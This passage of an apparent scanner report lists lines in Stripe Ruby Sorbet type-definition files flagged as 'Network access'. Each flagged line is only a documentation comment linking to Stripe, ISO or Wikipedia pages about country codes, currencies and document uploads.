    # Details on the Account's acceptance of the [Stripe Services Agreement](https://docs.stripe.com/connect/updating-accounts#tos-acceptance).
  • Network accessline 1889
    sig { params(_city: T.nilable(String)).returns(T.nilable(String)) }               def city=(_city); end               # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 1890
    def city=(_city); end               # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).               sig { returns(T.nilable(String)) }
  • Network accessline 1891
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 1934
    class AnnualRevenue < ::Stripe::RequestParams               class Amount < ::Stripe::RequestParams                 # A non-negative integer representing how much to charge in the [smallest currency unit](https://docs.stripe.com/currencies#m
  • Network accessline 1935
    class Amount < ::Stripe::RequestParams                 # A non-negative integer representing how much to charge in the [smallest currency unit](https://docs.stripe.com/currencies#minor-units).                 sig { returns(T.nilable(Integer
  • Network accessline 1936
    # A non-negative integer representing how much to charge in the [smallest currency unit](https://docs.stripe.com/currencies#minor-units).
  • Network accessline 1939
    sig { params(_value: T.nilable(Integer)).returns(T.nilable(Integer)) }                 def value=(_value); end                 # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [su
  • Network accessline 1940
    def value=(_value); end                 # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).                 sig { returns(T.
  • Network accessline 1941
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 1968
    class Documents < ::Stripe::RequestParams               class BankAccountOwnershipVerification < ::Stripe::RequestParams                 # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#creat
  • Network accessline 1969
    class BankAccountOwnershipVerification < ::Stripe::RequestParams                 # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`.  
  • Network accessline 1970
    # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`.
  • Network accessline 1982
    end               class CompanyLicense < ::Stripe::RequestParams                 # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`.
  • Network accessline 1983
    class CompanyLicense < ::Stripe::RequestParams                 # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`.                 sig
  • Network accessline 1984
    # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`.
  • Network accessline 1996
    end               class CompanyMemorandumOfAssociation < ::Stripe::RequestParams                 # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account
  • Network accessline 1997
    class CompanyMemorandumOfAssociation < ::Stripe::RequestParams                 # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`.    
  • Network accessline 1998
    # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`.
  • Network accessline 2010
    end               class CompanyMinisterialDecree < ::Stripe::RequestParams                 # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requi
  • Network accessline 2011
    class CompanyMinisterialDecree < ::Stripe::RequestParams                 # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`.          
  • Network accessline 2012
    # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`.
  • Network accessline 2024
    end               class CompanyRegistrationVerification < ::Stripe::RequestParams                 # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `accoun
  • Network accessline 2025
    class CompanyRegistrationVerification < ::Stripe::RequestParams                 # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`.   
  • Network accessline 2026
    # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`.
  • Network accessline 2038
    end               class CompanyTaxIdVerification < ::Stripe::RequestParams                 # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requi
  • Network accessline 2039
    class CompanyTaxIdVerification < ::Stripe::RequestParams                 # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`.          
  • Network accessline 2040
    # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`.
  • Network accessline 2053
    class PrimaryVerification < ::Stripe::RequestParams                 class FrontBack < ::Stripe::RequestParams                   # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the back of the ver
  • Network accessline 2054
    class FrontBack < ::Stripe::RequestParams                   # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the back of the verification document. The purpose of the uploaded file should be 'iden
  • Network accessline 2055
    # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the back of the verification document. The purpose of the uploaded file should be 'identity_document'. The uploaded file needs to be a color image 
  • Network accessline 2058
    sig { params(_back: T.nilable(String)).returns(T.nilable(String)) }                   def back=(_back); end                   # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the front of the veri
  • Network accessline 2059
    def back=(_back); end                   # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the front of the verification document. The purpose of the uploaded file should be 'identity_document'. The
  • Network accessline 2060
    # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the front of the verification document. The purpose of the uploaded file should be 'identity_document'. The uploaded file needs to be a color image
  • Network accessline 2066
    def initialize(back: nil, front: nil); end                 end                 # The [file upload](https://docs.stripe.com/api/persons/update#create_file) tokens referring to each side of the document.
  • Network accessline 2067
    end                 # The [file upload](https://docs.stripe.com/api/persons/update#create_file) tokens referring to each side of the document.                 sig {
  • Network accessline 2068
    # The [file upload](https://docs.stripe.com/api/persons/update#create_file) tokens referring to each side of the document.
  • Network accessline 2086
    end               class ProofOfAddress < ::Stripe::RequestParams                 # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`.
  • Network accessline 2087
    class ProofOfAddress < ::Stripe::RequestParams                 # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`.                 sig
  • Network accessline 2088
    # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`.
  • Network accessline 2100
    end               class ProofOfRegistration < ::Stripe::RequestParams                 # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requiremen
  • Network accessline 2101
    class ProofOfRegistration < ::Stripe::RequestParams                 # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`.               
  • Network accessline 2102
    # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`.
  • Network accessline 2114
    end               class ProofOfUltimateBeneficialOwnership < ::Stripe::RequestParams                 # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `acc
  • Network accessline 2115
    class ProofOfUltimateBeneficialOwnership < ::Stripe::RequestParams                 # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`.
  • Network accessline 2116
    # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`.
  • Network accessline 2256
    class MonthlyEstimatedRevenue < ::Stripe::RequestParams               class Amount < ::Stripe::RequestParams                 # A non-negative integer representing how much to charge in the [smallest currency unit](https://docs.stripe.com/cu
  • Network accessline 2257
    class Amount < ::Stripe::RequestParams                 # A non-negative integer representing how much to charge in the [smallest currency unit](https://docs.stripe.com/currencies#minor-units).                 sig { returns(T.nilable(Integer
  • Network accessline 2258
    # A non-negative integer representing how much to charge in the [smallest currency unit](https://docs.stripe.com/currencies#minor-units).
  • Network accessline 2261
    sig { params(_value: T.nilable(Integer)).returns(T.nilable(Integer)) }                 def value=(_value); end                 # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [su
  • Network accessline 2262
    def value=(_value); end                 # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).                 sig { returns(T.
  • Network accessline 2263
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 2290
    sig { params(_city: T.nilable(String)).returns(T.nilable(String)) }                 def city=(_city); end                 # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 2291
    def city=(_city); end                 # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).                 sig { returns(T.nilable(String)) }
  • Network accessline 2292
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 2339
    sig { params(_city: T.nilable(String)).returns(T.nilable(String)) }                 def city=(_city); end                 # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 2340
    def city=(_city); end                 # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).                 sig { returns(T.nilable(String)) }
  • Network accessline 2341
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 2554
    sig { params(_city: T.nilable(String)).returns(T.nilable(String)) }               def city=(_city); end               # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 2555
    def city=(_city); end               # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).               sig { returns(T.nilable(String)) }
  • Network accessline 2556
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 2635
    sig { params(_city: T.nilable(String)).returns(T.nilable(String)) }               def city=(_city); end               # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 2636
    def city=(_city); end               # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).               sig { returns(T.nilable(String)) }
  • Network accessline 2637
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 2699
    class Documents < ::Stripe::RequestParams               class CompanyAuthorization < ::Stripe::RequestParams                 # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with
  • Network accessline 2700
    class CompanyAuthorization < ::Stripe::RequestParams                 # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`.              
  • Network accessline 2701
    # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`.
  • Network accessline 2713
    end               class Passport < ::Stripe::RequestParams                 # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`.
  • Network accessline 2714
    class Passport < ::Stripe::RequestParams                 # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`.                 sig { ret
  • Network accessline 2715
    # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`.
  • Network accessline 2728
    class PrimaryVerification < ::Stripe::RequestParams                 class FrontBack < ::Stripe::RequestParams                   # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the back of the ver
  • Network accessline 2729
    class FrontBack < ::Stripe::RequestParams                   # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the back of the verification document. The purpose of the uploaded file should be 'iden
  • Network accessline 2730
    # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the back of the verification document. The purpose of the uploaded file should be 'identity_document'. The uploaded file needs to be a color image 
  • Network accessline 2733
    sig { params(_back: T.nilable(String)).returns(T.nilable(String)) }                   def back=(_back); end                   # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the front of the veri
  • Network accessline 2734
    def back=(_back); end                   # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the front of the verification document. The purpose of the uploaded file should be 'identity_document'. The
  • Network accessline 2735
    # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the front of the verification document. The purpose of the uploaded file should be 'identity_document'. The uploaded file needs to be a color image
  • Network accessline 2741
    def initialize(back: nil, front: nil); end                 end                 # The [file upload](https://docs.stripe.com/api/persons/update#create_file) tokens referring to each side of the document.
  • Network accessline 2742
    end                 # The [file upload](https://docs.stripe.com/api/persons/update#create_file) tokens referring to each side of the document.                 sig {
  • Network accessline 2743
    # The [file upload](https://docs.stripe.com/api/persons/update#create_file) tokens referring to each side of the document.
  • Network accessline 2762
    class SecondaryVerification < ::Stripe::RequestParams                 class FrontBack < ::Stripe::RequestParams                   # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the back of the v
  • Network accessline 2763
    class FrontBack < ::Stripe::RequestParams                   # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the back of the verification document. The purpose of the uploaded file should be 'iden
  • Network accessline 2764
    # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the back of the verification document. The purpose of the uploaded file should be 'identity_document'. The uploaded file needs to be a color image 
  • Network accessline 2767
    sig { params(_back: T.nilable(String)).returns(T.nilable(String)) }                   def back=(_back); end                   # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the front of the veri
  • Network accessline 2768
    def back=(_back); end                   # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the front of the verification document. The purpose of the uploaded file should be 'identity_document'. The
  • Network accessline 2769
    # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the front of the verification document. The purpose of the uploaded file should be 'identity_document'. The uploaded file needs to be a color image
  • Network accessline 2775
    def initialize(back: nil, front: nil); end                 end                 # The [file upload](https://docs.stripe.com/api/persons/update#create_file) tokens referring to each side of the document.
  • Network accessline 2776
    end                 # The [file upload](https://docs.stripe.com/api/persons/update#create_file) tokens referring to each side of the document.                 sig {
  • Network accessline 2777
    # The [file upload](https://docs.stripe.com/api/persons/update#create_file) tokens referring to each side of the document.
  • Network accessline 2795
    end               class Visa < ::Stripe::RequestParams                 # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`.
  • Network accessline 2796
    class Visa < ::Stripe::RequestParams                 # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`.                 sig { returns
  • Network accessline 2797
    # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`.
  • Network accessline 2922
    sig { params(_city: T.nilable(String)).returns(T.nilable(String)) }                 def city=(_city); end                 # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 2923
    def city=(_city); end                 # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).                 sig { returns(T.nilable(String)) }
  • Network accessline 2924
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 2971
    sig { params(_city: T.nilable(String)).returns(T.nilable(String)) }                 def city=(_city); end                 # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 2972
    def city=(_city); end                 # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).                 sig { returns(T.nilable(String)) }
  • Network accessline 2973
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 3163
    }             def metadata=(_metadata); end             # The countries where the individual is a national. Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 3164
    def metadata=(_metadata); end             # The countries where the individual is a national. Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).             sig { returns(T.nilable(T::Array[Str
  • Network accessline 3165
    # The countries where the individual is a national. Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 3249
    }           def business_details=(_business_details); end           # The country in which the account holder resides, or in which the business is legally established. This should be an [ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO
  • Network accessline 3250
    def business_details=(_business_details); end           # The country in which the account holder resides, or in which the business is legally established. This should be an [ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alph
  • Network accessline 3251
    # The country in which the account holder resides, or in which the business is legally established. This should be an [ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2) country code.

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/v2/core/accounts/person_create_params.rbi

  • Network accessline 14
    sig { params(_city: T.nilable(String)).returns(T.nilable(String)) }             def city=(_city); end             # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 15
    def city=(_city); end             # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).             sig { returns(String) }
  • Network accessline 16
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 129
    sig { params(_city: T.nilable(String)).returns(T.nilable(String)) }             def city=(_city); end             # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 130
    def city=(_city); end             # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).             sig { returns(String) }
  • Network accessline 131
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 193
    class Documents < ::Stripe::RequestParams             class CompanyAuthorization < ::Stripe::RequestParams               # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a p
  • Network accessline 194
    class CompanyAuthorization < ::Stripe::RequestParams               # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`.               s
  • Network accessline 195
    # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`.
  • Network accessline 207
    end             class Passport < ::Stripe::RequestParams               # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`.
  • Network accessline 208
    class Passport < ::Stripe::RequestParams               # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`.               sig { returns
  • Network accessline 209
    # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`.
  • Network accessline 222
    class PrimaryVerification < ::Stripe::RequestParams               class FrontBack < ::Stripe::RequestParams                 # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the back of the verific
  • Network accessline 223
    class FrontBack < ::Stripe::RequestParams                 # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the back of the verification document. The purpose of the uploaded file should be 'identi
  • Network accessline 224
    # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the back of the verification document. The purpose of the uploaded file should be 'identity_document'. The uploaded file needs to be a color image 
  • Network accessline 227
    sig { params(_back: T.nilable(String)).returns(T.nilable(String)) }                 def back=(_back); end                 # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the front of the verifica
  • Network accessline 228
    def back=(_back); end                 # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the front of the verification document. The purpose of the uploaded file should be 'identity_document'. The u
  • Network accessline 229
    # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the front of the verification document. The purpose of the uploaded file should be 'identity_document'. The uploaded file needs to be a color image
  • Network accessline 235
    def initialize(back: nil, front: nil); end               end               # The [file upload](https://docs.stripe.com/api/persons/update#create_file) tokens referring to each side of the document.
  • Network accessline 236
    end               # The [file upload](https://docs.stripe.com/api/persons/update#create_file) tokens referring to each side of the document.               sig {
  • Network accessline 237
    # The [file upload](https://docs.stripe.com/api/persons/update#create_file) tokens referring to each side of the document.
  • Network accessline 256
    class SecondaryVerification < ::Stripe::RequestParams               class FrontBack < ::Stripe::RequestParams                 # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the back of the verif
  • Network accessline 257
    class FrontBack < ::Stripe::RequestParams                 # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the back of the verification document. The purpose of the uploaded file should be 'identi
  • Network accessline 258
    # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the back of the verification document. The purpose of the uploaded file should be 'identity_document'. The uploaded file needs to be a color image 
  • Network accessline 261
    sig { params(_back: T.nilable(String)).returns(T.nilable(String)) }                 def back=(_back); end                 # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the front of the verifica
  • Network accessline 262
    def back=(_back); end                 # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the front of the verification document. The purpose of the uploaded file should be 'identity_document'. The u
  • Network accessline 263
    # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the front of the verification document. The purpose of the uploaded file should be 'identity_document'. The uploaded file needs to be a color image
  • Network accessline 269
    def initialize(back: nil, front: nil); end               end               # The [file upload](https://docs.stripe.com/api/persons/update#create_file) tokens referring to each side of the document.
  • Network accessline 270
    end               # The [file upload](https://docs.stripe.com/api/persons/update#create_file) tokens referring to each side of the document.               sig {
  • Network accessline 271
    # The [file upload](https://docs.stripe.com/api/persons/update#create_file) tokens referring to each side of the document.
  • Network accessline 289
    end             class Visa < ::Stripe::RequestParams               # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`.
  • Network accessline 290
    class Visa < ::Stripe::RequestParams               # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`.               sig { returns(T::
  • Network accessline 291
    # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`.
  • Network accessline 430
    sig { params(_city: T.nilable(String)).returns(T.nilable(String)) }               def city=(_city); end               # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 431
    def city=(_city); end               # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).               sig { returns(String) }
  • Network accessline 432
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 479
    sig { params(_city: T.nilable(String)).returns(T.nilable(String)) }               def city=(_city); end               # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 480
    def city=(_city); end               # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).               sig { returns(String) }
  • Network accessline 481
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/v2/core/accounts/person_token_create_params.rbi

  • Network accessline 14
    sig { params(_city: T.nilable(String)).returns(T.nilable(String)) }             def city=(_city); end             # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 15
    def city=(_city); end             # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).             sig { returns(T.nilable(String)) }
  • Network accessline 16
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 121
    sig { params(_city: T.nilable(String)).returns(T.nilable(String)) }             def city=(_city); end             # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 122
    def city=(_city); end             # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).             sig { returns(T.nilable(String)) }
  • Network accessline 123
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 185
    class Documents < ::Stripe::RequestParams             class CompanyAuthorization < ::Stripe::RequestParams               # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a p
  • Network accessline 186
    class CompanyAuthorization < ::Stripe::RequestParams               # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`.               s
  • Network accessline 187
    # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`.
  • Network accessline 199
    end             class Passport < ::Stripe::RequestParams               # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`.
  • Network accessline 200
    class Passport < ::Stripe::RequestParams               # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`.               sig { returns
  • Network accessline 201
    # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`.
  • Network accessline 214
    class PrimaryVerification < ::Stripe::RequestParams               class FrontBack < ::Stripe::RequestParams                 # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the back of the verific
  • Network accessline 215
    class FrontBack < ::Stripe::RequestParams                 # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the back of the verification document. The purpose of the uploaded file should be 'identi
  • Network accessline 216
    # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the back of the verification document. The purpose of the uploaded file should be 'identity_document'. The uploaded file needs to be a color image 
  • Network accessline 219
    sig { params(_back: T.nilable(String)).returns(T.nilable(String)) }                 def back=(_back); end                 # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the front of the verifica
  • Network accessline 220
    def back=(_back); end                 # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the front of the verification document. The purpose of the uploaded file should be 'identity_document'. The u
  • Network accessline 221
    # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the front of the verification document. The purpose of the uploaded file should be 'identity_document'. The uploaded file needs to be a color image
  • Network accessline 227
    def initialize(back: nil, front: nil); end               end               # The [file upload](https://docs.stripe.com/api/persons/update#create_file) tokens referring to each side of the document.
  • Network accessline 228
    end               # The [file upload](https://docs.stripe.com/api/persons/update#create_file) tokens referring to each side of the document.               sig {
  • Network accessline 229
    # The [file upload](https://docs.stripe.com/api/persons/update#create_file) tokens referring to each side of the document.
  • Network accessline 248
    class SecondaryVerification < ::Stripe::RequestParams               class FrontBack < ::Stripe::RequestParams                 # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the back of the verif
  • Network accessline 249
    class FrontBack < ::Stripe::RequestParams                 # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the back of the verification document. The purpose of the uploaded file should be 'identi
  • Network accessline 250
    # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the back of the verification document. The purpose of the uploaded file should be 'identity_document'. The uploaded file needs to be a color image 
  • Network accessline 253
    sig { params(_back: T.nilable(String)).returns(T.nilable(String)) }                 def back=(_back); end                 # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the front of the verifica
  • Network accessline 254
    def back=(_back); end                 # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the front of the verification document. The purpose of the uploaded file should be 'identity_document'. The u
  • Network accessline 255
    # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the front of the verification document. The purpose of the uploaded file should be 'identity_document'. The uploaded file needs to be a color image
  • Network accessline 261
    def initialize(back: nil, front: nil); end               end               # The [file upload](https://docs.stripe.com/api/persons/update#create_file) tokens referring to each side of the document.
  • Network accessline 262
    end               # The [file upload](https://docs.stripe.com/api/persons/update#create_file) tokens referring to each side of the document.               sig {
  • Network accessline 263
    # The [file upload](https://docs.stripe.com/api/persons/update#create_file) tokens referring to each side of the document.
  • Network accessline 281
    end             class Visa < ::Stripe::RequestParams               # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`.
  • Network accessline 282
    class Visa < ::Stripe::RequestParams               # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`.               sig { returns(T::
  • Network accessline 283
